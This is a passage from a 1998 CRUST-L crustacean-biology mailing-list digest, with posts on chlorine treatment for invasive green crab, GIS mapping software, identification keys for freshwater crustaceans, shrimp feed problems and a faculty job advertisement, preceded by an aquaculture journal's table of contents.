numero pueden encontrar los siguientes articulos: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D -REUNION DE PISCICULTORES EN ZARAGOZA (ESPA#A).=20 Auspiciada por ProAqua y Trouw Espa#a. -LA ESTREPTOCOCOSIS DE LA TRUCHA EN ESPA#A.=20 Revision Bibliografica.=20 -VIBRIOS DE ORIGEN MARINO EN PATOLOGIA HUMANA.=20 Jose Mira-Gutierrez y Pedro Garcia-Martos. (Servicio de Microbiologia. Hospital Universitario Puerta del Mar. Dpto de Microbiologia. Fac de Medicina. Univ de Cadiz) -INFLUENCIA DE LAS PROTEINAS DIETETICAS SOBRE EL CRECIMIENTO, LA SOBREVIVENCIA Y EL RENDIMIENTO DE LAS POSTLARVAS DEL CAMARON BLANCO (Penaeus setiferus) Y DEL CAMARON ROSADO (P. duorarum) DEL GOLFO DE MEXICO.= =20 Tomas Garcia, Gabriel Gaxiola, Tsai Garcia, Ruth Pedroza, Luis Soto, Norma Lopez y Carlos Rosas. (Lab. de Ecofisiologia. Fac. de Ciencias (UNAM); Centro de Investigaciones Marinas. Univ. de La Habana, Cuba; Dpto de Tecnologia de Alimentos y Ciencias de la Nutricion. Univ. Iberomaericana, Mexico.; Lab. de Ecologia del Bentos. Instituto de Ciencias del Mar y Limnolog=EDa (UNAM); Centro Regional de Investigaciones Pesqueras Lerma-Campeche. Instituto Nacional de Pesca, Mexico.) -RECIRCULACION DE AGUA A TRAVES DE FILTROS BIOLOGICOS EN CULTIVOS DE PECES MARINOS.=20 S. Cardenas y J. P. Ca#avate (CICEM "El Toru#o". Junta de Andalucia.) -DICCIONARIO DE LOS PRINCIPALES CONCEPTOS DE ECOLOGIA Y EPIDEMIOLOGIA RELACIONADOS CON EL ESTADO DE SALUD O ENFERMEDAD EN LAS POBLACIONES= ACUICOLAS. Red Epidemiologica RATIO=20 -ESTUDIO DE DESARROLLO Y PRODUCCION DE TILAPIA (Oreochromis niloticus).=20 Gustavo A. Wicki y Nestor Gromenida (Direccion de Acuicultura. Secretaria de Agricultura, Pesca y Alimentacion. Rep=FAblica Argentina; Ministerio de Produccion, Provincia de Formosa (Argentina)) -PRODUCTOS DE NATURALEZA ZEOLITICA (PNZ): CULTIVO DE MICROALGAS MARINAS. Prof. Dr. Jose Lopez Ruiz. (Grupo de Investigacion Zeolitas-Acuicultura. Centro Andaluz Superior de Estudios Marinos. Univ. de Cadiz.) =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D ATENCION ATENCION ATENCION ATENCION ATENCION =20 Adem=E1s de estos articulos hemos agrupado nuestras secciones fijas= dedicadas a: -noticias -cursos y congresos -informaciones de interes -recetas -webs de interes en acuicultura -foros de debate -legislacion en la seccion UTILES Quedamos a la espera de sus comentarios y sugerencias. Gracias por todo NACHO DE BLAS ********************************************* Revista AquaTIC http://aquatic.unizar.es Jose Luis Muzquiz. Director. Ignacio de Blas. Redactor. Fac. Veterinaria. Univ. Zaragoza c/ Miguel Servet 177 50.013 Zaragoza Tel.: 976 76 15 69 Fax: 976 76 16 12 ********************************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #120 ***************************** From owner-crust-l-digest@vims.eduFri Mar 13 11:18:09 1998 Date: Wed, 18 Feb 1998 08:54:22 -0500 From: owner-crust-l-digest@vims.edu Reply to: crust-l@vims.edu To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #121 crust-l-digest Wednesday, 18 February 1998 Volume 01 : Number 121 CRUST-L: Green Crab & Chlorine CRUST-L: Green Crab & Chlorine CRUST-L: FW: Mapping software CRUST-L: Re: FW: Mapping software CRUST-L: Myosins....... Re: CRUST-L: FW: Mapping software Re: CRUST-L: FW: Mapping software CRUST-L: GIS mapping CRUST-L: Freshwater shrimp dichotomic keys CRUST-L: GIS CRUST-L: freshwater shrimp (fwd) CRUST-L: Fresh water Ostracods and Copepods CRUST-L: growth inhibitor... CRUST-L: Fresh water Ostracods and Copepods CRUST-L: pycnogonids Re: CRUST-L: Fresh water Ostracods and Copepods CRUST-L: Biology Dept. Head ---------------------------------------------------------------------- From: Jay Odell Date: Wed, 11 Feb 1998 14:26:57 -0800 Subject: CRUST-L: Green Crab & Chlorine Fellow members: I don't like to post a question regarding how to kill crustaceans, but here in the NE Pacific (Washington State), concern is growing over the northward movement of green crab, Carcinus maenus, and subsequent impacts to local food webs, Dungeness crab, and the shellfish culture industry. My question is whether a one hour treatment with 10 ppm chlorine in freshwater will kill green crab larvae and juveniles. This treatment would be required for imports of clam and oyster seed from areas known to be infested with green crab. Jay Odell Washington State Department of Fish and Wildlife 1000 Point Whitney Road Brinnon, Washington 98320 USA odelljgo@dfw.wa.gov (360) 586-1498 (360) 796-4997 (fax) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jay Odell (by way of massabuau@lnpc.u-bordeaux.fr (Jean-Charles MASSABUAU)) Date: Thu, 12 Feb 1998 10:58:44 +0100 Subject: CRUST-L: Green Crab & Chlorine Dear colleague, I do not know if the treatment you propose can be valid, but it is just to tell you that in the Bay of Arcachon, France, one of the birth place of oyster culture, oysters and green crab are living together and to my knowledge, no farmer is complaining against that. Note only that the green crabs were present before the oysters in the Bay. On the contrary, green crab fishing is well developped and there is an important market toward industrials. It is an excellent base for fish soup and so on... Dr JC Massabuau Senior scientist Marine Biological Station, Arcachon Fellow members: I don't like to post a question regarding how to kill crustaceans, but here in the NE Pacific (Washington State), concern is growing over the northward movement of green crab, Carcinus maenus, and subsequent impacts to local food webs, Dungeness crab, and the shellfish culture industry. My question is whether a one hour treatment with 10 ppm chlorine in freshwater will kill green crab larvae and juveniles. This treatment would be required for imports of clam and oyster seed from areas known to be infested with green crab. Jay Odell Washington State Department of Fish and Wildlife 1000 Point Whitney Road Brinnon, Washington 98320 USA odelljgo@dfw.wa.gov (360) 586-1498 (360) 796-4997 (fax) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Choy Satish Date: Fri, 13 Feb 1998 12:28:05 +1000 Subject: CRUST-L: FW: Mapping software > >Dear All, > >We are looking for a relatively simple mapping software which can be used for >distribution-type mapping. We wish to import into it a base map with major >features such as rivers and on this be able to, in some way, put different >numbers or coloured dots to show say, the distribution of crayfish species. >It would be useful to be able to link sampling sites to grid references. > >GIS can do this and more but we are looking for something of a scaled down >version. I am told MAPINFO may be one such software. Any information on >software name, capabilities, cost and supplier would be most welcome. > >Thanks >Satish > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Carolyn Oldham Date: Fri, 13 Feb 1998 11:58:39 +0800 Subject: CRUST-L: Re: FW: Mapping software I have just been looking at a package called NOESYS (which is a combination package of PLOT, TRANSFORM and 3D packages... if you have heard of any of these). I think it could do what you want. It has impressive communication between imaging (including mapping) and your database. My only problem with it is that it costs about $1000, and there is no site or multi- licensing available... bit of a problem for postgrads/labs etc. Anyway, if you want more info check the website: http:/www.fortner.com/noesys/index.html Cheers Carolyn Oldham At 12:28 PM +1000 13/2/98, Choy Satish wrote: >> >>Dear All, >> >>We are looking for a relatively simple mapping software which can be used for >>distribution-type mapping. We wish to import into it a base map with major >>features such as rivers and on this be able to, in some way, put different >>numbers or coloured dots to show say, the distribution of crayfish species. >>It would be useful to be able to link sampling sites to grid references. >> >>GIS can do this and more but we are looking for something of a scaled down >>version. I am told MAPINFO may be one such software. Any information on >>software name, capabilities, cost and supplier would be most welcome. >> >>Thanks >>Satish >> Dr Carolyn Oldham ph) (08) 9380 3143 Lecturer in Contaminant Dynamics fax) (08) 9380 1015 Centre for Water Research Department of Environmental Engineering email) oldham@cwr.uwa.edu.au University of Western Australia www) http://www.cwr.uwa.edu.au/ Nedlands, WA 6907 AUSTRALIA =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: GRANT D STENTIFORD <9707223s@UDCF.GLA.AC.UK> Date: Fri, 13 Feb 1998 09:06:28 Subject: CRUST-L: Myosins....... Dear Readers, this is probably a bit of a long shot, but does anyone out there know of the similarities (or differences) between myosin from, say the fast muscle of Crustacea and the myosins which are commercially available (such as Rabbit). I am wishing to do muscle proteolysis studies and need an easily obtainable supply. Thanks in advance Grant Grant Stentiford. Crustacean Parasitology Division of Environmental and Evolutionary Biology, Graham Kerr Building, University of Glasgow. Scotland. United Kingdom. G12 8QQ Tel; UK, (0141) 3306627 email; g.stentiford@udcf.gla.ac.uk =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Wulf Kobusch" Date: Fri, 13 Feb 1998 10:08:09 +0000 Subject: Re: CRUST-L: FW: Mapping software Dear Choy Satish, for problems like yours it might be useful to ask in a special list for geography & mapping. I got some helpful hints from the members of the list carto-soc (?) in Sheffield. Just send the message subscribe carto-soc to listproc@sheffield.ac.uk unfortunately I do not know exactly but the address of carto-soc probably is: carto-soc@sheffield.ac.uk Best wishes Wulf *********************************************************** Wulf Kobusch Ruhr Universitaet Bochum Lehrstuhl fuer Spezielle Zoologie Gebaeude ND 05 / 776 Universitaetsstrasse 150 44801 Bochum GERMANY phone: +49/(0)234-700-5577 or -4563 fax: +49/(0)234-7094-114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *********************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Donald R. Kobayashi" Date: Fri, 13 Feb 1998 07:57:25 -1000 (HST) Subject: Re: CRUST-L: FW: Mapping software On Fri, 13 Feb 1998, Choy Satish wrote: > >... > >We are looking for a relatively simple mapping software which can be used for > >distribution-type mapping. We wish to import into it a base map with major > >features such as rivers and on this be able to, in some way, put different > >numbers or coloured dots to show say, the distribution of crayfish species. > >It would be useful to be able to link sampling sites to grid references. > > > >GIS can do this and more but we are looking for something of a scaled down > >version. I am told MAPINFO may be one such software. Any information on > >software name, capabilities, cost and supplier would be most welcome. > > > >Thanks > >Satish > > I don't know if this has already been mentioned, but I would give my nod to the -free- Generic Mapping Tools (gmt) package by Paul Wessel and Walter Smith. This is an excellent package for mapping various types of data. Check out http://www.soest.hawaii.edu/wessel/gmt.html for information. We make extensive use of the unix version, but I think it has been successfully ported to other platforms as well. Don ================================================================== Donald R. Kobayashi, Fishery Biologist & EEI Systems Administrator Ecosystem & Environment Investigation, NMFS/NOAA Honolulu Lab 2570 Dole Street, Honolulu HI 96822-2396 Voice:808-943-1242 FAX:808-943-1290 dkobayas@honlab.nmfs.hawaii.edu http://members.aol.com/Dkobayas/index2.html (lotsa gmt plots here!) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Ed and Ruth Benedikt Date: Sat, 14 Feb 1998 09:55:31 -0500 (EST) Subject: CRUST-L: GIS mapping Some comments on GIS systems for the home computer. "ArcView" is a program similar to "Mapinfo". Both have steep learning curves. ARCVIEW is a product of ESRI which has a Web site at WWW.ESRI.COM. ERSI offers ARCVIEW 1.0 for free as a shareware on the internet (and without technical support), but when I downloaded it, I was unable to open the files. Friends tried to open it on their faster machines, and they concluded that there was a defect in the files. Messages to the manufacturer went unanswered. The professionals who use the program have version 3, or higher. These versions have to be purchased. They probable come with technical support. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Tritonox Date: Sat, 14 Feb 1998 18:04:49 -0800 Subject: CRUST-L: Freshwater shrimp dichotomic keys Hello there! During some field work in Neuse River Basin (NC) I collected some freshwater shrimps. Can you recommend any good dichotomic key (Book, papers?) for the identification of US freshwater shrimps? Any feedback will be appreciated. SDamian =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Brian O'Gorman" Date: Sun, 15 Feb 1998 15:13:01 -0500 Subject: CRUST-L: GIS I use The Generic Mapping Tools (gmt) with good results. Refer to http://www.soest.hawaii.edu/wessel/gmt.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Sun, 15 Feb 1998 18:48:31 -0500 (EST) Subject: CRUST-L: freshwater shrimp (fwd) Please respond to the list and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Chip Biernbaum Subject: CRUST-L: Freshwater shrimp dichotomic keys X-Sender: biernbaumc@cofc.edu To: CRUST-L@VIMS.EDU It has been quite a few years since I've done freshwater shrimp research, so I am not up on recent references, but the following publications will be of help: 1. Strenth, Ned E. 1976. A review of the systematics and zoogeography of the freshwater species of Palaemonetes Heller of North America (Crustacea: Decapoda). Smithsonian Contributions to Zoology, number 228. 27 pp. 2. Fleming, Laurence E. 1969. Use of male external genitalic details as taxonomic characters in some species of Palaemonetes (Decapoda, Palaemonidae). Proc. Biol. Soc. Washington 82:443-452. 3. Fitzpatrick, Joseph F., Jr. 1983. How to Know the Freshwater Crustacea. Wm. C. Brown Company, Dubuque, Iowa. 227 pp. [pp. 215-218] 4. Pennak, Robert W. 1989. Fresh-water Invertebrates of the United States, 3rd ed. John Wiley & Sons, NY. 628 pp. [pp. 509-513] It is likely that your species is Palaemonetes paludosus (Gibbes, 1850). There is one cautionary note that I'd like to pass on. Telson spination and (especially) appendix masculina setation are important characters used in identifications; a tacit implication in keys is that they are conservative and consistent within species. In an early 1980s South Carolina study (Lake Marion), I found that these characters varied among specimens of P. paludosus (e.g., some had 5 or 6 apical setae on the apex of the appendix masculina instead of the 4 noted in the key). In a letter I received from Ned Strenth (July '82), he indicated that he had also found appendix masculina setation and telson spination variations in some other species of Palaemonetes, including differences between left and right appendix masculina. Chip >Return-path: >Date: Sat, 14 Feb 1998 18:04:49 -0800 >From: Tritonox >Subject: CRUST-L: Freshwater shrimp dichotomic keys >Sender: owner-crust-l@vims.edu >X-Sender: sorin@mail.fred.net >To: crust-l@VIMS.EDU > >Hello there! >During some field work in Neuse River Basin (NC) I collected some >freshwater shrimps. Can you recommend any good > dichotomic key (Book, papers?) for the identification of US freshwater >shrimps? > Any feedback will be appreciated. > SDamian > > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > Charles K. (Chip) Biernbaum Grice Marine Biological Laboratory College of Charleston 205 Ft. Johnson Charleston, SC 29412 803-406-4010 (FAX: 803-406-4001) e-mail: biernbaumc@cofc.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Margarida Cristo Date: Sun, 15 Feb 1998 22:08:08 +0100 Subject: CRUST-L: Fresh water Ostracods and Copepods Dear Colleagues Could anyone indicate some recent (or ancient) dichotomic keys for Fresh water Ostracods and Copepods. Infortunatly, as a marine biologist I only have marine and brackish water references, but now I have a small project on temporary ponds off the south part of Portugal, and I "desperatly" need to identify these small animals. Thank you all. Margarida =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 16 Feb 1998 09:19:22 -0500 (EST) Subject: CRUST-L: growth inhibitor... Please respond to Franz, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: "Franz Goetz" To: CRUST-L@vims.edu Subject: Re: Thanks for help and tips concerning growth inhibitor problem Hello crust list collegues two weeks ago I posted my problem with growth inhibitor problems in shrimp. I received good help from many of you and would like to thank all parties helping me with this problem. For technical reasons with the net here in indonesia or better my location in the "bush" and poor phone lines, I react a bit slow , but better late than never. We have been following up with our problem and specially in comparative feeding trials with trash fish as well as other brands of commercial feeds, the control groups are doing now very fine compared to the original feeds. The laboratory analysis of the old feed brand is still hanging on, but we will need some luck to find anything like afflatoxines, as the feed deliveries have been erratic some times and possibly not all shipments have been contaminated. I understand that once weekly polluted feeds will be sufficient. However the practical experiment hopefully is sufficient to bring the otherwise good performance of our shrimp ponds back on track. Thanks again to all of you for your help FranzA. Goetz & James Fernandez GAATE Consultants Goetz Aquacultural Agricultural Techniques & Engineering =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: psyoung@omega.lncc.br Date: Mon, 16 Feb 1998 16:32:05 -0300 Subject: CRUST-L: Fresh water Ostracods and Copepods Dear Colleagues Could anyone indicate some recent (or ancient) dichotomic keys for Fresh water Ostracods and Copepods. Infortunatly, as a marine biologist I only have marine and brackish water references, but now I have a small project on temporary ponds off the south part of Portugal, and I "desperatly" need to identify these small animals. Thank you all. Margarida =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Ai Lee Date: Tue, 17 Feb 1998 09:50:29 +1000 (EST) Subject: CRUST-L: pycnogonids Dear Crusters, I am commencing an honours project on the biology and ecology of intertidal/subtidal pycnogonids of north-eastern Australia. Does anybody know of a published key for the fauna for this region or even for Australia? Any other information would also be really appreciated at this point as references are a bit obscure. Thanks Michelle Department of Marine Biology James Cook University Douglas, Townsville QLD 4811 email: ai.lee@jcu.edu.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Sonia Cawsey McGowan Date: Sun, 18 Jan 1998 16:08:16 -0800 Subject: Re: CRUST-L: Fresh water Ostracods and Copepods This is a good reference: TITLE Copepoda : introduction to the Copepoda / by B.H. Dussart and D.Defaye. PUBLISHED Amsterdam, The Netherlands : SPB Academic Pub., 1995. DESCRIPT. vi, 277 p. : ill. ; 24 cm. SERIES Guides to the identification of the microinvertebrates of the continental waters of the world, 7. psyoung@omega.lncc.br wrote: > > Dear Colleagues > > Could anyone indicate some recent (or ancient) dichotomic keys for Fresh > water Ostracods and Copepods. Infortunatly, as a marine biologist I only > have marine and brackish water references, but now I have a small project > on temporary ponds off the south part of Portugal, and I "desperatly" need > to identify these small animals. > > Thank you all. > Margarida > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Neil Cumberlidge Date: Wed, 18 Feb 1998 08:45:08 -0400 Subject: CRUST-L: Biology Dept. Head Department Head Department of Biology Fall 1998 Tenured Full Professor Northern Michigan University invites nominations and applications for the position of head of the Department of Biology with appointment at the rank of full professor with tenure. The requirements for appointment include a Ph.D., demonstrated administrative and leadership abilities, a record of professional accomplishments and publication, and demonstrated strengths in teaching and research. The Department Head has overall responsibility for instruction, faculty and staff recruitment, promotion and tenure, and the budget. The Head is also expected to teach, direct research, act as the department's principal advocate and liaison with the University administration, and provide leadership in equality of opportunity. Previous experience with renovation of facilities, inquiry based learning, and successful grant application is desirable. Although the area of specialization is unrestricted, the department has strong programs in ecology, and current needs include specializations in entomology/invertebrate zoology, lower plant biology, plant molecular biology, and wildlife ecology. The headship is an administrative position and is one of a faculty of 14 in a department of 450 undergraduate majors and 35 Master's students; the department also has a large service course component. Northern Michigan University, a state-assisted institution founded in 1899, is the major comprehensive institution of higher education in the Upper Peninsula of Michigan. Located in the City of Marquette (population 22,000) on the shores of Lake Superior in Michigan's Upper Peninsula, it has a faculty of 317 and a 323-acre campus. The university offers baccalaureate degrees in 75 discipline areas to approximately 8,000 students in five 